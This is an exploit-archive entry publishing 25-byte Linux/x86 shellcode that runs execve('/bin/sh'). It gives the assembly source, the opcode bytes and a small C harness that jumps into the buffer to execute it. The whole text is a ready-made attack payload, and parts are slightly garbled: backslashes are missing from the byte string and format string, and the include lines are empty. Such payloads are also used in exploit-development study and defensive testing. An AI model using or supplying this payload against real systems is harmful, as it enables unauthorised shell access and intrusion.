25 bytes small Linux/x86 execve /bin/sh shellcode.

MD5 | d46a38b1d7ac05f490e35a9a1e3203e4

# Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
# Date: 2019-10-14
# Author: bolonobolo
# Vendor Homepage: None
# Software Link: None
# Tested on: Linux x86
# CVE: N/A

/*
global _start

section .text
_start:


cdq ; xor edx
mul edx
lea ecx, [eax]
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi
push edi ; push hs/nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80 ; execute

*/

#include
#include

unsigned char code[] =
"x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80";

void main()
{

printf("Shellcode Length: %dn", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Source